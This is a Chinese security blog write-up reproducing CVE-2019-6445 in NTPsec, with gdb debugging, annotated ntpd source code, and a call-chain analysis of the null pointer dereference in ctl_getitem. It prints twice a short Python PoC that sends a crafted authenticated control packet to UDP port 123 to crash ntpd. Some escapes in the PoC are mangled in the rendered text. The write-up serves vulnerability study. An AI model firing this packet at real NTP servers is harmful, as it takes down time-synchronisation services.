怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

admin 2024年9月27日09:25:12评论16 views字数 13288阅读44分17秒阅读模式
怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用
怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用
怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

 

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用
软件介绍
怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

NTPsec是一个基于网络时间协议(Network Time Protocol,NTP)的开源时间同步软件项目。它是对传统的NTP软件的重新实现,旨在提供更高的安全性、可靠性和性能。

NTP是用于在计算机网络中同步时钟的协议,它允许计算机通过网络获取准确的时间信息。传统的NTP实现存在一些安全和可靠性方面的问题,例如容易受到网络攻击和时间信息伪造。NTPsec项目致力于解决这些问题,并改进NTP软件的功能。

NTPsec项目的目标是提供一个更安全、更现代化、更易于维护的NTP实现。它采用了更严格的代码审查和安全措施,修复了安全漏洞,并改进了协议的可靠性和性能。NTPsec还通过支持新的网络安全特性,如Network Time Security(NTS),提供了更强大的安全保护。

NTPsec的开发始于2014年,由一群志愿者开发者组成的团队共同推动。该项目是开源的,遵循自由软件许可证(类似于BSD许可证)。它在Linux、Unix和类似系统上可用,并广泛用于服务器、网络设备和其他需要准确时间同步的系统中。

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用
漏洞描述
怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

NTPsec是一个网络时间协议的实现。

NTPsec 1.1.3之前版本中的ntp_control.c文件存在空指针逆向引用漏洞。攻击者可利用该漏洞造成tpd崩溃。

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用
漏洞原因
怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

poc:https://github.com/snappyJack/CVE-2019-8936/

源码:https://github.com/ntpsec/ntpsec/releases/tag/NTPsec_1_1_2

POC

#!/usr/bin/env python
# note this PoC exploit uses keyid 1, password: gurka

import sys
import socket

buf = ("x16x03x00x03x00x00x00x00x00x00x00x04x6cx65x61x70" +
"x00x00x00x01x5cxb7x3cxdcx9fx5cx1ex6axc5x9bxdfxf5" +
"x56xc8x07xd4")

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(buf, ('127.0.0.1', 123))

 

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用
漏洞复现
踩坑

1.     安装root权限启动buildprep

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

2.提示没有安装bsion

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

3.     安装更新出错,dhcp

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

4.     安装bison

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

5.     配置configure,设置成允许调试,这里一定要加上编译时的ldflags,不然会报错未定义的引用'_asan_init_v4'

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

6.     安装asan

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

7.     修改配置文件ntp.conf

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

kyes文件

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

8.     gdb启动调试,报错

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

复现过程

1.     ubuntu22换成ubuntu18换成服务器Cento都报错,然后又换成ubuntu18,不过这次找到是的是ntp1.1.2的官方仓库下载的源码:https://github.com/ntpsec/ntpsec/releases/tag/NTPsec_1_1_2

2.     解压tar文件tar -zxvf ./ntpsec-NTPsec_1_1_2.tar.gz 

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

3.     构建准备buildprep

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

4.     编译并且允许对其进行调试./waf configure --enable-debug --enable-debug-gdb

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

5.     查找配置文件位置,启动编译好的文件需要找个选项find / -name "ntp.conf" 

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

6.     gdb启动并且下断点 sudo gdb --args ./build/main/ntpd/ntpd -n -c ./packaging/SUSE/ntp.conf  b ctl_getitem  r

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

7.     发现已经运行了,端口是123

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

8.     另外一个终端执行poc,注意是python2

#!/usr/bin/env python
# note this PoC exploit uses keyid 1, password: gurka

import sys
import socket

buf = ("x16x03x00x03x00x00x00x00x00x00x00x04x6cx65x61x70" +
"x00x00x00x01x5cxb7x3cxdcx9fx5cx1ex6axc5x9bxdfxf5" +
"x56xc8x07xd4")

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(buf, ('127.0.0.1', 123))

 

8.     卡到这里了

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

rdi指针是空的

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

9.     查看valuep发现指针是空的,这里明显是对空指针进行了引用

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

10.  对源码分析可以发现源码变量valuep在这之前只有两处引用,而且这两次都是经过ctl_getitem函数处理之后,所以ctl_getitem函数有问题

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

11.  为了验证猜想在源码2911行下断点,然后重新执行poc可以看到现在指针非空

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

通过ni对汇编层面进行调试到ctl_getitem函数

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

然后ni finish跳出函数,观察valuep的值

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

由此可以得出确实是ctl_getitem函数导致了空指针的产生

技巧:这里如何对源码和汇编同时进行调试呢?

通过ni si 对汇编进行调试

通过n s 对源码进行调试

12.  对问题函数ctl_getitem进行分析,这次进入函数内部用gdb进行分析

a.     源代码

/*
* ctl_getitem - get the next data item from the incoming packet
*/
static const struct ctl_var *
ctl_getitem(
const struct ctl_var *var_list,
char **data
)
{
/* [Bug 3008] First check the packet data sanity, then search
* the key. This improves the consistency of result values: If
* the result is NULL once, it will never be EOV again for this
* packet; If it's EOV, it will never be NULL again until the
* variable is found and processed in a given 'var_list'. (That
* is, a result is returned that is neither NULL nor EOV).
*/
static const struct ctl_var eol = { 0, EOV, NULL };
static char buf[128];
static u_long quiet_until;
const struct ctl_var *v;
char *cp;
char *tp;

    /*
* Part One: Validate the packet state
*/

/* Delete leading commas and white space */
while (reqpt < reqend && (*reqpt == ',' ||
isspace((unsigned char)*reqpt)))
reqpt++;
if (reqpt >= reqend)
return NULL;

/* Scan the string in the packet until we hit comma or
* EoB. Register position of first '=' on the fly. */
for (tp = NULL, cp = reqpt; cp != reqend; ++cp) {
if (*cp == '=' && tp == NULL)
tp = cp;
if (*cp == ',')
break;
}

/* Process payload, if any. */
*data = NULL;
if (NULL != tp) {
/* eventually strip white space from argument. */
const char *plhead = tp + 1; /* skip the '=' */
const char *pltail = cp;
size_t      plsize;

while (plhead != pltail && isspace((u_char)plhead[0]))
++plhead;
while (plhead != pltail && isspace((u_char)pltail[-1]))
--pltail;

/* check payload size, terminate packet on overflow */
plsize = (size_t)(pltail - plhead);
if (plsize >= sizeof(buf))
goto badpacket;

/* copy data, NUL terminate, and set result data ptr */
memcpy(buf, plhead, plsize);
buf[plsize] = '�';
*data = buf;
} else {
/* no payload, current end --> current name termination */
tp = cp;
}

/* Part Two
*
* Now we're sure that the packet data itself is sane. Scan the
* list now. Make sure a NULL list is properly treated by
* returning a synthetic End-Of-Values record. We must not
* return NULL pointers after this point, or the behaviour would
* become inconsistent if called several times with different
* variable lists after an EoV was returned.  (Such a behavior
* actually caused Bug 3008.)
*/

if (NULL == var_list)
return &eol;

for (v = var_list; !(EOV & v->flags); ++v)
if (!(PADDING & v->flags)) {
/* Check if the var name matches the buffer. The
* name is bracketed by [reqpt..tp] and not NUL
* terminated, and it contains no '=' char. The
* lookup value IS NUL-terminated but might
* include a '='... We have to look out for
* that!
*/
const char *sp1 = reqpt;
const char *sp2 = v->text;

/* [Bug 3412] do not compare past NUL byte in name */
while (   (sp1 != tp)
&& ('�' != *sp2) && (*sp1 == *sp2)) {
++sp1;
++sp2;
}
if (sp1 == tp && (*sp2 == '�' || *sp2 == '='))
break;
}

/* See if we have found a valid entry or not. If found, advance
* the request pointer for the next round; if not, clear the
* data pointer so we have no dangling garbage here.
*/
if (EOV & v->flags)
*data = NULL;
else
reqpt = cp + (cp != reqend);
return v;

badpacket:
/*TODO? somehow indicate this packet was bad, apart from syslog? */
numctlbadpkts++;
NLOG(NLOG_SYSEVENT)
if (quiet_until <= current_time) {
quiet_until = current_time + 300;
msyslog(LOG_WARNING,
"Possible 'ntpdx' exploit from %s#%" PRIu16 " (possibly spoofed)",
socktoa(rmt_addr), SRCPORT(rmt_addr));
}
reqpt = reqend; /* never again for this packet! */
return NULL;
}

/*
* control_unspec - response to an unspecified op-code
*/
/*ARGSUSED*/
static void
control_unspec(
struct recvbuf *rbufp,
int restrict_mask
)
{
struct peer *peer;

UNUSED_ARG(rbufp);
UNUSED_ARG(restrict_mask);

/*
* What is an appropriate response to an unspecified op-code?
* I return no errors and no data, unless a specified association
* doesn't exist.
*/
if (res_associd) {
peer = findpeerbyassoc(res_associd);
if (NULL == peer) {
ctl_error(CERR_BADASSOC);
return;
}
rpkt.status = htons(ctlpeerstatus(peer));
} else
rpkt.status = htons(ctlsysstatus());
ctl_flushpkt(0);
}

 

b.     可以看出来这个函数第二个参数是被修改的对象,所以对data进行追踪,这里是二级指针,我们最后是因为valuep的值是0,所以导致原因是*data被赋值成0返回了。调试前valuep的值

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

再*data引用的位置下断点然后继续跟,发现还是这个值

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

第一次处理就变成了0

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

然后在第二个处理的地方下断点发现不会执行,导致了指针为空

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

往前回溯可以发现因为tp指针被设置成0导致if语句没有被执行,那为什么呢?跟进tp指针,可以发现这里要求字符串有等号,但是没有,通过查看内存十六进制,可以发现就是poc的值没有等号导致的

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

至此,分析完毕

c.      验证,如果我们在paylaod里面放入"=",是不是就不会触发漏洞呢?真怪,这里把buf随便修改,但凡只要有等号就在gdb停不住,这个确实有点迷惑,等以后水平提高了再来学习

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用
收货点

1.     下载官方源码或者换平台,不然容易环境特别难配

2.     用gdb调试的时候注意ni n si s p打印变量的混合使用

参考链接

CVE-2019-6445分析复现 - 先知社区

CVE-2019-6445分析

阿里云漏洞库

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用
再理解
怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

我们这里主要分析 source 点 到 sink 点的路径 ,以及程序对数据包如何解析,最终导致了漏洞的触发

bt查看调用链

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

函数调用链

main ntpd.c :426

int main(int argc, char *argv[])
{
return ntpdmain(argc, argv);
}

 

ntpdmain ntpd.c :109

守护进程的主函数

static int ntpdmain(int, char **) __attribute__((noreturn));

 

1.     static int: 这里 static 关键字表明 ntpdmain 函数的可见范围仅限于当前文件。这意味着该函数只能在这个文件内部被调用,不能被其他文件中的代码访问。int 表明该函数返回一个整型值。

2.     ntpdmain: 这是函数的名字。

3.     (int, char **): 这指定了 ntpdmain 函数接受的参数类型。这里它接受两个参数,第一个是整型,通常用来表示程序启动时的参数个数,第二个是指向字符指针的指针,通常用来传递程序启动时的参数列表。

4.     __attribute__((noreturn)): 这是一个编译器属性,它告诉编译器这个函数不会正常返回控制流到调用者。也就是说,一旦进入这个函数,它就会一直运行下去,直到程序终止。通常这样的函数会有一个无限循环或者会调用 exit() 函数来结束整个程序。

mainloop ntpd.c:911

这段代码定义了一个 mainloop 函数,它是 NTP 守护进程的主要循环。这个函数将一直监听和处理网络数据包,直到程序被中断或退出。由于 mainloop 函数不会正常返回,所以调用它的位置之后的任何代码都不会被执行。

/*
* Process incoming packets until exit or interrupted.
*/
static void mainloop(void)

 

struct recvbuf *rbuf;
rbuf = get_full_recv_buffer(); // 获取一个接收到的数据包
while (rbuf != NULL) { // 当获取到的数据包不为空时
if (sig_flags.sawALRM) { // 检查是否有定时器到期信号
timer(); // 如果有定时器到期信号,处理定时器到期
sig_flags.sawALRM = false; // 清除定时器到期信号标志
}
/*
* Call the data procedure to handle each received packet.
*/
if (rbuf->receiver != NULL) { // 检查数据包是否有关联的接收回调函数
#ifdef ENABLE_DEBUG_TIMING
l_fp dts = pts;
dts -= rbuf->recv_time; // 计算处理延迟
DPRINT(2, ("processing timestamp delta %s (with prec. fuzz)n", lfptoa(dts, 9))); // 输出处理延迟
collect_timing(rbuf, "buffer processing delay", 1, dts); // 收集处理延迟统计
bufcount++; // 增加缓冲区计数
#endif
(*rbuf->receiver)(rbuf); // 调用接收回调函数处理数据包
} else {
msyslog(LOG_ERR, "ERR: fatal: receive buffer callback NULL"); // 日志记录:致命错误,接收缓冲区回调函数为空
abort(); // 强制退出程序
}

    freerecvbuf(rbuf); // 释放接收缓冲区
rbuf = get_full_recv_buffer(); // 获取下一个接收到的数据包
}

 

receive ntp_proto.c:676

这个receive函数就是我们需要分析的重点了,这个就是程序的source点,是我们网络数据包进入程序的地方。

输入来自于一个结构体struct recvbuf

void receive
(
struct recvbuf *rbufp
)

 

struct recvbuf {
recvbuf_t * link; /* next in list */
sockaddr_u recv_srcadr;
sockaddr_u srcadr;  /* where packet came from */
struct netendpt * dstadr;  /* address pkt arrived on */
SOCKET  fd;  /* fd on which it was received */
l_fp  recv_time; /* time of arrival */
void  (*receiver)(struct recvbuf *); /* callback */
size_t  recv_length; /* number of octets received */
union {
struct pkt X_recv_pkt;
uint8_t  X_recv_buffer[RX_BUFF_SIZE];
} recv_space;
#define recv_pkt  recv_space.X_recv_pkt
#define recv_buffer  recv_space.X_recv_buffer
struct parsed_pkt pkt;  /* host-order copy of data from wire */
int used;  /* reference count */
bool keyid_present;
keyid_t keyid;
int mac_len;
#ifdef REFCLOCK
bool network_packet;
struct peer * recv_peer;
#endif /* REFCLOCK */
};

 

通过调试我们得到我们发送的数据包存到了这里,一个是解析的结构体,一个是数组,我们来观察这个结构体

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

struct pkt {
uint8_t li_vn_mode; /* peer leap indicator */
uint8_t stratum; /* peer stratum */
uint8_t ppoll;  /* peer poll interval */
int8_t precision; /* peer clock precision */
u_fp rootdelay; /* roundtrip delay to primary source */
u_fp rootdisp; /* dispersion to primary source*/
uint32_t refid;  /* reference id */
l_fp_w reftime; /* last update time */
l_fp_w org;  /* originate time stamp */
l_fp_w rec;  /* receive time stamp */
l_fp_w xmt;  /* transmit time stamp */

/* Old style authentication was just appended
* without the type/length of an extension header. */
/* Length includes 1 word of keyID */
/* MD5 length is 16 bytes => 4+1 */
/* SHA length is 20 bytes => 5+1 */
#define MIN_MAC_LEN (1 * sizeof(uint32_t)) /* crypto_NAK */
#define MAX_MAC_LEN (6 * sizeof(uint32_t)) /* MAX of old style */

uint32_t exten[(MAX_MAC_LEN) / sizeof(uint32_t)];
} __attribute__ ((aligned));

 

1.     时间戳信息

o   包含多个时间戳字段,如reftime(最后一次更新时间)、org(起源时间戳)、rec(接收时间戳)和xmt(发送时间戳)。

2.     时钟和精度信息

o   包含stratum(层次级别)、ppoll(轮询间隔)和precision(时钟精度)等字段,用于描述时间源的质量和状态。

3.     延迟和分散度

o   包含rootdelay(往返延迟)和rootdisp(分散度)等字段,用于描述到主时间源的延迟和误差。

4.     扩展字段

o   包含一个名为exten的数组,用于存储认证信息等扩展字段。这些字段可以包含不同长度的消息认证码(MAC),如MD5或SHA哈希值。

5.     内存对齐

o   结构体末尾的__attribute__((aligned))确保结构体按照一定的对齐方式进行存储,以优化内存访问速度。

process_control ntp_control.c: 898

漏洞触发的路径中,在receive函数中的数据处理中,数据流向了控制包处理中。

process_control 函数主要用于处理接收到的控制消息。在 NTP(Network Time Protocol)或其他类似协议中,控制消息通常用于管理和监控目的,而不是用于时间同步。这类消息可能包含诊断信息、配置命令或其他管理功能。

if(is_control_packet(rbufp)) {
process_control(rbufp, restrict_mask);
stat_count.sys_processed++;
goto done;
}

 

static bool is_control_packet
(
struct recvbuf const* rbufp
)
{
return rbufp->recv_length >= 1 &&
PKT_VERSION(rbufp->recv_space.X_recv_buffer[0]) <= 4 &&
PKT_MODE(rbufp->recv_space.X_recv_buffer[0]) == MODE_CONTROL;
}

 

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

/*
* process_control - process an incoming control message
*/
void
process_control(
struct recvbuf *rbufp,
int restrict_mask
)

 

根据函数调用栈,数据所流向了这个函数处理模块,对两个结构体进行分析

/*
* Look for the opcode processor
*/
for (cc = control_codes; cc->control_code != NO_REQUEST; cc++) {
if (cc->control_code == res_opcode) {
DPRINT(3, ("opcode %d, found command handlern",
res_opcode));
if (cc->flags == AUTH
&& (NULL == res_auth
|| res_auth->keyid != ctl_auth_keyid)) {
ctl_error(CERR_PERMISSION);
return;
}
(cc->handler)(rbufp, restrict_mask);
return;
}
}

 

struct ctl_proc 是一个用于存储请求处理程序信息的结构体。它用于定义和组织处理不同控制消息所需的信息。这个结构体在处理控制消息时起到了关键作用,因为它将操作码、标志位和处理函数关联起来,使得程序可以根据接收到的操作码快速定位并执行相应的处理逻辑。

/*
* Structure to hold request procedure information
*/

struct ctl_proc {
short control_code;  /* defined request code */
#define NO_REQUEST (-1)
unsigned short flags;   /* flags word */
/* Only one flag.  Authentication required or not. */
#define NOAUTH 0
#define AUTH 1
void (*handler) (struct recvbuf *, int); /* handle request */
};

 

static const struct ctl_proc control_codes[] 是一个静态常量数组,用于存储一组预定义的控制消息处理信息。这个数组中的每个元素都是一个 struct ctl_proc 类型的结构体,用于定义控制消息的操作码、标志和处理函数。

static const struct ctl_proc control_codes[] = {
{ CTL_OP_UNSPEC,  NOAUTH, control_unspec },
{ CTL_OP_READSTAT,  NOAUTH, read_status },
{ CTL_OP_READVAR,  NOAUTH, read_variables },
{ CTL_OP_WRITEVAR,  AUTH, write_variables },
{ CTL_OP_READCLOCK,  NOAUTH, read_clockstatus },
{ CTL_OP_WRITECLOCK,  NOAUTH, write_clockstatus },
{ CTL_OP_CONFIGURE,  AUTH, configure },
{ CTL_OP_READ_MRU,  NOAUTH, read_mru_list },
{ CTL_OP_READ_ORDLIST_A, AUTH, read_ordlist },
{ CTL_OP_REQ_NONCE,  NOAUTH, req_nonce },
{ NO_REQUEST,   0, NULL }
};

 

如果要想数据进入write_variables函数,必须处理以下操作码和操作数

{ CTL_OP_WRITEVAR, AUTH, write_variables }

 

只要是处理这个函数那一定会执行write_variables 函数

(cc->handler)(rbufp, restrict_mask);

 

write_variables ntp_control.c: 2930

这段代码定义了一个名为 write_variables 的函数,用于处理写入变量的操作。该函数接收两个参数:struct recvbuf *rbufpint restrict_mask。函数的主要任务是从接收到的数据包中解析出变量名和值,并根据这些信息更新系统中的变量。

/*
* write_variables - write into variables. We only allow leap bit
* writing this way.
*/
/*ARGSUSED*/
static void
write_variables(
struct recvbuf *rbufp,
int restrict_mask
)

 

UNUSED_ARG(rbufp);
UNUSED_ARG(restrict_mask);

 

这两行代码用来标记 rbufprestrict_mask 参数在函数内部没有被使用,这是为了满足编译器关于未使用的参数警告的要求。

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用
思考漏洞成因
怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

当然分析到这块可以发现,我们的poc和漏洞的直接触发没有关系,它的作用只是作为一个认证触发漏洞这个函数的条件,这样分析,只是想把数据包的运行过程说明白,以后遇到类似的问题可以知道怎么分析

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

但是根据我们之前的分析,这个函数指针为空的原因就是没有运行后面的if判断,而导致的直接原因就是数据包的数据内容导致的

/* Scan the string in the packet until we hit comma or
* EoB. Register position of first '=' on the fly. */
for (tp = NULL, cp = reqpt; cp != reqend; ++cp) {
if (*cp == '=' && tp == NULL)
tp = cp;
if (*cp == ',')
break;
}

 

这段代码的作用是从接收到的数据包中扫描一段字符串,直到遇到逗号(,)或字符串的末尾(EoB,End of Buffer)。同时,它还会记录第一个等号(=)的位置。这样的扫描主要用于解析控制消息中的变量名和值

但是我们在之前的解析当中并没有发现这块的路径,即数据包是如何被传进来的?一下函数都是ntp_control.c

向上分析找到数据的传入点

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

继续寻找定义

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

继续跟踪函数定义,解析数据函数,将收到的数据传输到了pkt->data这段代码定义了一个名为 unmarshall_ntp_control 的函数,其作用是从接收到的数据包中解析出 NTP 控制信息,并将其存储在一个 struct ntp_control 结构体中。这个函数将接收到的数据流转换成结构化的形式,便于后续处理。

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

在函数中的开始阶段,保存错误响应的地址,已经调用了解析函数

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

经过调试也可以得到,这里的数据经过复制以后给到了pkt.data的地方

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

这里面没有逗号导致一直tp一直为空,if条件没有执行,data为空

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

二维指针导致这里访问空地址

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

至此我们的数据从source点到sink点的路径一目了然了,下面做梳理路径

// 程序流程
main -> ntpdmain->mainloop
>receive -> process_control -> unmarshall_ntp_control(pkt_core) -> (pkt=&pkt_core->reqpt)  -> (reqpt=(char *)pkt->data) -> write_variables -> ctl_getitem
// 数据流向
receive -> process_control -> unmarshall_ntp_control(pkt_core) -> (pkt=&pkt_core->reqpt)  -> (reqpt=(char *)pkt->data) -> write_variables -> ctl_getitem
// 漏洞触发
ctl_getitem导致空指针
write_variables引用空指针

 

怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

 

原文始发于微信公众号(SecNL安全团队):怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月27日09:25:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   怎样才算复现一个CVE?CVE-2019-6445 NTPsec逆向空指针利用http://cn-sec.com/archives/3212850.html

发表评论

匿名网友 填写信息